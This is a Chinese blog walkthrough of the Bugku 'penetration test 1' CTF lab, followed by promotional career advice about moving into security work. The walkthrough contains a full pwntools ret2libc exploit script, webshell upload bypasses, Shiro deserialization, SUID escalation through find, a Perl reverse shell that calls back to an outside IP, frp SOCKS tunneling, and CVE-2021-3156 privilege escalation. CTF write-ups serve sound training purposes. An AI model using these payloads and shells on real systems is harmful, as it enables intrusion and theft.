bugkuctf渗透测试1(超详细版)_bugku 渗透测试,零基础入门到精通,收藏这篇就够了

bugkuctf 渗透测试1

下发环境进行访问

场景1

通过查看网页源代码成功找到1个flag

得到flag和提示

<!--flag{950d83a16ad47127859d414009432171} PS:下个flag网站管理员才能看到哦-->

场景2

根据提示需要管理员权限,进行登录,直接登录需要邮箱和邮箱验证码,换个思路进网站的后台看看,对敏感目录进行扫描

访问admin进行尝试,会跳转到管理登录页面,进行弱口令爆破试试

成功登录,账号密码为admin/admin,进入后成功找到第二个flag以及第三个flag的提示。

场景3

发现上传配置,对上传配置进行修改,添加PHP为上传后缀

进行上传发现回显为上传文件后缀不能为空,应该是服务器检测到上传的文件后缀是php,对其进行了删除后缀,进行双写后缀试试

上传shell.pphphp,成功上传,掏出我们的蚁剑进行连接,

成功连接后在/home/ctf/flag成功找到flag

场景4

根据提示找到数据库配置文件,成功拿到数据库连接密码

这个时候需要连接数据库,因为蚁剑是非实时工具,连接数据库的时候有点困难,这个时候换成哥斯拉,重新上马连接,连接数据库

成功连接到数据库

拿到flag和提示。

场景5

在题目上发现提示

将main下载下来check一下是一个32位程序,

拖进IDA中进行分析,发现栈溢出,vul函数中没有找到相关的后门函数,需要构造ROP,

确定脚本思路,使用nmap扫描,看一下开放端口

┌──(root㉿kali-linux-2024-2)-[~]
└─# nmap 139.196.226.142   
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-22 12:48 CST
Nmap scan report for 139.196.226.142
Host is up (0.033s latency).
Not shown: 991 closed tcp ports (reset)
PORT     STATE    SERVICE
22/tcp   open     ssh
80/tcp   open     http
135/tcp  filtered msrpc
139/tcp  filtered netbios-ssn
445/tcp  filtered microsoft-ds
593/tcp  filtered http-rpc-epmap
4444/tcp filtered krb524
8080/tcp open     http-proxy
9999/tcp open     abyss

Nmap done: 1 IP address (1 host up) scanned in 1.78 seconds


成功得到端口是9999,编写利用脚本

from pwn import *
from LibcSearcher import LibcSearcher
r = remote('139.196.226.142', 9999) #需要替换成自己的IP
elf = ELF('./main')
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.sym['main']
#构造第一次溢出
payload = b'a' * (0x28)  # 填充 0x28 字节,造成栈溢出
payload += p32(write_plt)  # 调用 write 函数
payload += p32(main_addr)  # 返回到 main 函数,重新利用输入点
payload += p32(1)  # write 函数的第一个参数:stdout
payload += p32(write_got)  # write 函数的第二个参数:write 的got地址
payload += p32(4)  # write 函数的第三个参数:写入 4 字节
r.sendlineafter(b'plz input your name:\n', payload)

# 接收got地址
write_addr = u32(r.recv(4))
log.info(f"write 的地址: {hex(write_addr)}")

# 查找 libc 版本
libc = LibcSearcher('write', write_addr)
offset = write_addr - libc.dump('write')
system_addr = offset + libc.dump('system')
bin_sh_addr = offset + libc.dump('str_bin_sh')
log.info(f"system 的地址: {hex(system_addr)}")
log.info(f"/bin/sh 的地址: {hex(bin_sh_addr)}")
# 构造第二次溢出的 payload,调用 system("/bin/sh")
payload = b'a' * (0x28)  # 填充 0x28 字节,造成栈溢出
payload += p32(system_addr)  # 调用 system 函数
payload += p32(main_addr)  # 返回到 main 函数,防止程序崩溃
payload += p32(bin_sh_addr)  # system 函数的参数:/bin/sh

# 发送 payload
r.sendline(payload)

# 进入交互模式,获取 shell
r.interactive()

编写后开始运行

场景6、场景7

根据上个场景的提示要注意8080,之前nmap也扫描出来了8080端口,进行访问

又是一个登录界面,同时指纹探测出来是java的,抓包看看那个框架

老规矩,使用弱口令试试,开启burp进行抓包,发现关键字段,

Set-Cookie: rememberMe=deleteMe; 是与 Shiro 框架 相关的 Cookie 设置。确定框架为Shiro,直接掏出我们的shiro反序列化漏洞综合利用工具

成功利用框架漏洞,可以正常使用功能区了

cat命令读取root下的flag发现权限不够,只能读取到home/flag的,提交发现是场景7的flag,猜测网站中应该还有flag,通过find / -type f -exec grep -l "flag" {} \; 2>/dev/null命令进行查找

find / -type f -exec grep -l "flag" {} \; 2>/dev/null

命令解释:

  • find /:从根目录 / 开始递归查找。
  • -type f:只查找文件(不包括目录)。
  • -exec grep -l "flag" {} \;:对每个文件执行 grep 命令,查找文件内容中是否包含 flag
    • -l:只输出包含匹配内容的文件名。
  • 2>/dev/null:忽略错误信息(如权限不足的提示)。

找到的文件过多,一个一个查找过多,

换个思路,扫描一下网站,看看是否存在未发现的细节

经过扫描目录发现/robots.txt,进行访问,果然发现之前出现了遗漏

这个才是场景六的flag,

场景8

在场景7中已经成功利用框架漏洞,对其进行内存马注入,成功注入

掏出我们的哥斯拉对其进行连接,这里要注意将有效载荷(即文件类型)换成java

进入命令执行页面,在场景7中的root/flag显示过是权限不足,这里就需要进行提权了。试试suid提权——当一个文件设置了 SUID 权限时,用户在执行该文件时会以文件所有者的权限运行,而不是以当前用户的权限运行。

find / -perm -4000 -type f 2>/dev/null 

回显出现find,利用find命令提权

find flag -exec whoami \;

  • find flag:在当前目录下查找名为 flag 的文件或目录。
  • -exec whoami \;:对每个找到的文件或目录执行 whoami 命令。
  • whoami:显示当前用户的用户名。
  • \;:表示 -exec 命令的结束。

find flag -exec cat /root/flag \;

成功读取到flag,并且还有提示Internal network——内网。

场景9

通过上一个场景写入的内存马进行连接,上传fscan,同时通过反弹shell来建立一个真正的实时终端。

在服务器上开启监听

nc -lvp 5656

端口可以自定义修改,只需要同时修改自己的IP和端口即可

在靶机终端创建反弹shell

perl -e 'use Socket;$i="117.72.37.106";$p=5656;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

成功弹回

这个时候还不是实时连接,使用script 命令来换成实时终端

script 命令用于记录终端会话的所有输入和输出

实时终端创建完成,开始进行内网穿透,

查看IP

ip -a

得出本机IP是192.168.0.3,上传fscan进行扫描

 ./fscan -h 192.168.0.3/24 -nobr -o res.txt

  • -h 192.168.0.3/24: 指定扫描的目标网络。192.168.0.3/24 表示扫描 192.168.0.0192.168.0.255 范围内的所有 IP 地址。
  • -o res.txt: 指定输出文件为 res.txt,扫描结果将保存到这个文件中。

扫描完成后对res.txt进行查看,扫描出四个地址

192.168.0.4:3306 open
192.168.0.2:80 open
192.168.0.1:80 open
192.168.0.4:80 open
192.168.0.1:22 open
192.168.0.3:8080 open
192.168.0.1:8080 open
192.168.0.2:9999 open
192.168.0.1:9999 open
[*] WebTitle: http://192.168.0.3:8080   code:302 len:0      title:None 跳转url: http://192.168.0.3:8080/login;jsessionid=961F749750790C23558059F9558586CC
[*] WebTitle: http://192.168.0.1:8080   code:302 len:0      title:None 跳转url: http://192.168.0.1:8080/login;jsessionid=9D9594C712238D5BDE8FD17F9A03BAF2
[*] WebTitle: http://192.168.0.1:8080/login;jsessionid=9D9594C712238D5BDE8FD17F9A03BAF2 code:200 len:2608   title:Login Page
[*] WebTitle: http://192.168.0.3:8080/login;jsessionid=961F749750790C23558059F9558586CC code:200 len:2608   title:Login Page
[*] WebTitle: http://192.168.0.1        code:200 len:59431  title:W3School教程系统 | 打造专一的web在线教程系统
[*] WebTitle: http://192.168.0.2        code:200 len:59431  title:W3School教程系统 | 打造专一的web在线教程系统
[*] WebTitle: http://192.168.0.4        code:200 len:8351   title:博客首页
[+] http://192.168.0.4 poc-yaml-thinkphp5023-method-rce poc1
[+] http://192.168.0.1:8080/ poc-yaml-shiro-key [{key kPH+bIxk5D2deZiIxcaaaA==} {mode cbc}]
[+] http://192.168.0.3:8080/ poc-yaml-shiro-key [{key kPH+bIxk5D2deZiIxcaaaA==} {mode cbc}]

通过ftp搭建Socks5代理,在服务端对frps配置文件进行修改

bindPort = 7000

加权,运行

chmod +x frps
./frps -c frps.toml

上传frp客户端到靶机地址,并对frp客户端的配置文件进行修改

[common]
server_addr = 117.72.37.106
server_port = 7000

[socks5]
type = tcp
local_ip = 127.0.0.1
local_port = 1080
remote_port = 10800
plugin = socks5

加权,运行

chmod +x frpc
./frpc -c frpc.toml

成功搭建,更改真机代理和浏览器代理,进行访问

访问192.168.0.4地址,发现是thinkphp 5023 rce,直接使用payload打

成功注入木马,蚁剑连接(连接过程需要配置代理)

在网站根目录发现flag,成功提交还有提示数据库。

场景10

既然提示数据库了,先看看数据库的配置文件,确定一下数据库的账户密码,文件为/var/www/html/application/database.php

<?phpa1
return [
    // 数据库类型
    'type'            => 'mysql',
    // 服务器地址
    'hostname'        => '127.0.0.1',
    // 数据库名
    'database'        => 'aman',
    // 用户名
    'username'        => 'aman',
    // 密码
    'password'        => 'aman123',

成功拿到数据库账号密码,蚁剑连接数据库有点困难,这个时候在此上传一个哥斯拉的木马,然后进行连接(连接过程同样需要配置代理),连接后进行数据库操作

成功连接数据库读取到flag

场景11

从上一个场景的提示以及题目本身的提示,可以确定需要进行提权了

使用检测脚本确认一下要利用的漏洞

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh


同时查看一下各项的版本

#!/bin/bash
echo "=== 系统漏洞检测脚本 ==="
echo "检查内核版本"
uname -r
echo "检查 polkit 版本"
pkexec --version
echo "检查 OpenSSH 版本"
ssh -V 2>&1 | grep -i "OpenSSH"
echo "检查 OpenSSL 版本"
openssl version
echo "检查 Apache 版本"
apache2 -v 2>/dev/null || httpd -v 2>/dev/null
echo "检查 Nginx 版本"
nginx -v 2>&1
echo "检查 MySQL 版本"
mysql --version
echo "检查 PostgreSQL 版本"
psql --version
echo "检查 Docker 版本"
docker --version
echo "检查sudo版本"
sudo -V
echo "=== 检测完成 ==="

发现pkexec version 0.105,可以使用CVE-2021-4034来进行提权,Sudo version 1.8.31,可以使用CVE-2021-3156来提权,这里使用CVE-2021-3156来进行提权,从github上下载提权脚本,进行上传,上传完成后,加权,make一下,

通过命令././exploit 'cat /root/flag'成功读取到root账户下的flag,完成通关。

这两年,IT行业面临经济周期波动与AI产业结构调整的双重压力,确实有很多运维与网络工程师因企业缩编或技术迭代而暂时失业。

很多人都在提运维网工失业后就只能去跑滴滴送外卖了,但我想分享的是,对于运维人员来说,即便失业以后仍然有很多副业可以尝试。

运维网工测试副业方向

运维,千万不要再错过这些副业机会!

第一个是知识付费类副业:输出经验打造个人IP

在线教育平台讲师

操作路径:在慕课网、极客时间等平台开设《CCNA实战》《Linux运维从入门到精通》等课程,或与培训机构合作录制专题课。
收益模式:课程销售分成、企业内训。

技术博客与公众号运营

操作路径:撰写网络协议解析、故障排查案例、设备评测等深度文章,通过公众号广告、付费专栏及企业合作变现。
收益关键:每周更新2-3篇原创,结合SEO优化与社群运营。

第二个是技术类副业:深耕专业领域变现

企业网络设备配置与优化服务

操作路径:为中小型企业提供路由器、交换机、防火墙等设备的配置调试、性能优化及故障排查服务。可通过本地IT服务公司合作或自建线上接单平台获客。
收益模式:按项目收费或签订年度维护合同。

远程IT基础设施代维

操作路径:通过承接服务器监控、日志分析、备份恢复等远程代维任务。适合熟悉Zabbix、ELK等技术栈的工程师。
收益模式:按工时计费或包月服务。

网络安全顾问与渗透测试

操作路径:利用OWASP Top 10漏洞分析、Nmap/BurpSuite等工具,为企业提供漏洞扫描、渗透测试及安全加固方案。需考取CISP等认证提升资质。
收益模式:单次渗透测试报告收费;长期安全顾问年费。

比如不久前跟我一起聊天的一个粉丝,他自己之前是大四实习的时候做的运维,发现运维7*24小时待命受不了,就准备转网安,学了差不多2个月,然后开始挖漏洞,光是补天的漏洞奖励也有个四五千,他说自己每个月的房租和饭钱就够了。

在这里插入图片描述

为什么我会推荐你网安是运维人员的绝佳副业&转型方向?

1.你的经验是巨大优势: 你比任何人都懂系统、网络和架构。漏洞挖掘、内网渗透、应急响应,这些核心安全能力本质上是“攻击视角下的运维”。你的运维背景不是从零开始,而是降维打击。

2.越老越吃香,规避年龄危机: 安全行业极度依赖经验。你的排查思路、风险意识和对复杂系统的理解能力,会随着项目积累而愈发珍贵,真正做到“姜还是老的辣”。

3.职业选择极其灵活: 你可以加入企业成为安全专家,可以兼职“挖洞“获取丰厚奖金,甚至可以成为自由顾问。这种多样性为你提供了前所未有的抗风险能力。

4.市场需求爆发,前景广阔: 在国家级政策的推动下,从一线城市到二三线地区,安全人才缺口正在急剧扩大。现在布局,正是抢占未来先机的黄金时刻。

在这里插入图片描述

运维网工测试转行学习路线

在这里插入图片描述

(一)第一阶段:网络安全筑基

1. 阶段目标

你已经有运维经验了,所以操作系统、网络协议这些你不是零基础。但要学安全,得重新过一遍——只不过这次我们是带着“安全视角”去学。

2. 学习内容

**操作系统强化:**你需要重点学习 Windows、Linux 操作系统安全配置,对比运维工作中常规配置与安全配置的差异,深化系统安全认知(比如说日志审计配置,为应急响应日志分析打基础)。

**网络协议深化:**结合过往网络协议应用经验,聚焦 TCP/IP 协议簇中的安全漏洞及防护机制,如 ARP 欺骗、TCP 三次握手漏洞等(为 SRC 漏扫中协议层漏洞识别铺垫)。

**Web 与数据库基础:**补充 Web 架构、HTTP 协议及 MySQL、SQL Server 等数据库安全相关知识,了解 Web 应用与数据库在网安中的作用。

**编程语言入门:**学习 Python 基础语法,掌握简单脚本编写,为后续 SRC 漏扫自动化脚本开发及应急响应工具使用打基础。

**工具实战:**集中训练抓包工具(Wireshark)、渗透测试工具(Nmap)、漏洞扫描工具(Nessus 基础版)的使用,结合模拟场景练习工具应用(掌握基础扫描逻辑,为 SRC 漏扫工具进阶做准备)。

(二)第二阶段:漏洞挖掘与 SRC 漏扫实战

1. 阶段目标

这阶段是真正开始“动手”了。信息收集、漏洞分析、工具联动,一样不能少。

熟练运用漏洞挖掘及 SRC 漏扫工具,具备独立挖掘常见漏洞及 SRC 平台漏扫实战能力,尝试通过 SRC 挖洞搞钱,不管是低危漏洞还是高危漏洞,先挖到一个。

2. 学习内容

信息收集实战:结合运维中对网络拓扑、设备信息的了解,强化基本信息收集、网络空间搜索引擎(Shodan、ZoomEye)、域名及端口信息收集技巧,针对企业级网络场景开展信息收集练习(为 SRC 漏扫目标筛选提供支撑)。

漏洞原理与分析:深入学习 SQL 注入、CSRF、文件上传等常见漏洞的原理、危害及利用方法,结合运维工作中遇到的类似问题进行关联分析(明确 SRC 漏扫重点漏洞类型)。

工具进阶与 SRC 漏扫应用:

  • 系统学习 SQLMap、BurpSuite、AWVS 等工具的高级功能,开展工具联用实战训练;

  • 专项学习 SRC 漏扫流程:包括 SRC 平台规则解读(如漏洞提交规范、奖励机制)、漏扫目标范围界定、漏扫策略制定(全量扫描 vs 定向扫描)、漏扫结果验证与复现;

  • 实战训练:使用 AWVS+BurpSuite 组合开展 SRC 平台目标漏扫,练习 “扫描 - 验证 - 漏洞报告撰写 - 平台提交” 全流程。
    SRC 实战演练:选择合适的 SRC 平台(如补天、CNVD)进行漏洞挖掘与漏扫实战,积累实战经验,尝试获取挖洞收益。

恭喜你,如果学到这里,你基本可以下班搞搞副业创收了,并且具备渗透测试工程师必备的「渗透技巧」、「溯源能力」,让你在黑客盛行的年代别背锅,工作实现升职加薪的同时也能开创副业创收!

如果你想要入坑黑客&网络安全,笔者给大家准备了一份:全网最全的网络安全资料包需要保存下方图片,微信扫码即可前往获取!

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

(三)第三阶段:渗透测试技能学习

1. 阶段目标

全面掌握渗透测试理论与实战技能,能够独立完成渗透测试项目,编写规范的渗透测试报告,具备渗透测试工程师岗位能力,为护网红蓝对抗及应急响应提供技术支撑。

2. 学习内容

渗透测试核心理论:系统学习渗透测试流程、方法论及法律法规知识,明确渗透测试边界与规范(与红蓝对抗攻击边界要求一致)。

实战技能训练:开展漏洞扫描、漏洞利用、电商系统渗透测试、内网渗透、权限提升(Windows、Linux)、代码审计等实战训练,结合运维中熟悉的系统环境设计测试场景(强化红蓝对抗攻击端技术能力)。

工具开发实践:基于 Python 编程基础,学习渗透测试工具开发技巧,开发简单的自动化测试脚本(可拓展用于 SRC 漏扫自动化及应急响应辅助工具)。

报告编写指导:学习渗透测试报告的结构与编写规范,完成多个不同场景的渗透测试报告撰写练习(与 SRC 漏洞报告、应急响应报告撰写逻辑互通)。

(四)第四阶段:企业级安全攻防(含红蓝对抗)、应急响应

1. 阶段目标

掌握企业级安全攻防、护网红蓝对抗及应急响应核心技能,考取网安行业相关证书。

2. 学习内容

护网红蓝对抗专项:

  • 红蓝对抗基础:学习护网行动背景、红蓝对抗规则(攻击范围、禁止行为)、红蓝双方角色职责(红队:模拟攻击;蓝队:防御检测与应急处置);

  • 红队实战技能:强化内网渗透、横向移动、权限维持、免杀攻击等高级技巧,模拟护网中常见攻击场景;

  • 蓝队实战技能:学习安全设备(防火墙、IDS/IPS、WAF)联动防御配置、安全监控平台(SOC)使用、攻击行为研判与溯源方法;

  • 模拟护网演练:参与团队式红蓝对抗演练,完整体验 “攻击 - 检测 - 防御 - 处置” 全流程。
    应急响应专项:

  • 应急响应流程:学习应急响应 6 步流程(准备 - 检测 - 遏制 - 根除 - 恢复 - 总结),掌握各环节核心任务;

  • 实战技能:开展操作系统入侵响应(如病毒木马清除、异常进程终止)、数据泄露应急处置、漏洞应急修补等实战训练;

  • 工具应用:学习应急响应工具(如 Autoruns、Process Monitor、病毒分析工具)的使用,提升处置效率;

  • 案例复盘:分析真实网络安全事件应急响应案例(如勒索病毒事件),总结处置经验。
    其他企业级攻防技能:学习社工与钓鱼、CTF 夺旗赛解析等内容,结合运维中企业安全防护需求深化理解。

证书备考:针对网安行业相关证书考试内容(含红蓝对抗、应急响应考点)进行专项复习,参加模拟考试,查漏补缺。

运维网工测试转行网络攻防知识库分享

网络安全这行,不是会几个工具就能搞定的。你得有体系,懂原理,能实战。尤其是从运维转过来的,别浪费你原来的经验——你比纯新人强多了。

但也要沉得住气,别学了两天Web安全就觉得自己是黑客了。内网、域渗透、代码审计、应急响应,要学的还多着呢。

如果你真的想转,按这个路子一步步走,没问题。如果你只是好奇,我劝你再想想——这行要持续学习,挺累的,但也是真有意思。

关于如何学习网络安全,笔者也给大家整理好了全套网络安全知识库,需要的可以扫码获取!

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

1、网络安全意识
在这里插入图片描述

2、Linux操作系统
在这里插入图片描述

3、WEB架构基础与HTTP协议
在这里插入图片描述

4、Web渗透测试
在这里插入图片描述

5、渗透测试案例分享
在这里插入图片描述

6、渗透测试实战技巧
在这里插入图片描述

7、攻防对战实战
在这里插入图片描述

8、CTF之MISC实战讲解
在这里插入图片描述

关于如何学习网络安全,笔者也给大家整理好了全套网络安全知识库,需要的可以扫码获取!

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

### BugKu CTF 渗透测试教程与资源 BugKu平台提供了丰富的CTF挑战项目,这些题目按照不同的难度级别分类,确保无论是初学者还是专业的渗透测试人员都能找到适合自己水平的挑战[^1]。 对于希望深入了解并参与BugKu CTF活动的人来说,可以从以下几个方面入手: #### 学习路径建议 - **基础知识积累**:通过观看专门针对网络安全领域的教学视频来快速掌握基本概念和技术要点。这类视频通常会引导学习者逐步深入理解各个知识点,从而实现高效的学习效果[^4]。 - **实践操作训练**:利用BugKu平台上提供的各类实战型题目来进行练习。每道题都设计有特定的目标和背景故事,旨在模拟真实的网络攻击场景,帮助参赛者提高实际解决问题的能力。 #### 技术工具推荐 为了更好地完成CTF中的渗透测试环节,可以参考一些常用的技巧和方法汇总文档,其中不仅包含了多种有效的技术手段介绍,还分享了许多宝贵的经验教训[^2]。 #### 特定漏洞研究 当遇到某些特殊类型的漏洞时,比如PHP环境中可能出现的`0e`开头MD5哈希碰撞问题,则需要针对性地查阅相关资料了解其成因及防范措施[^3]。 ```python import hashlib def check_vulnerable_hash(input_string): md5_value = hashlib.md5(str.encode(input_string)).hexdigest() if md5_value.startswith('0e'): print(f"The hash {md5_value} might be vulnerable.") else: print(f"The hash {md5_value} is not vulnerable.") check_vulnerable_hash("example") # 测试输入字符串是否会生成潜在危险的哈希值 ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值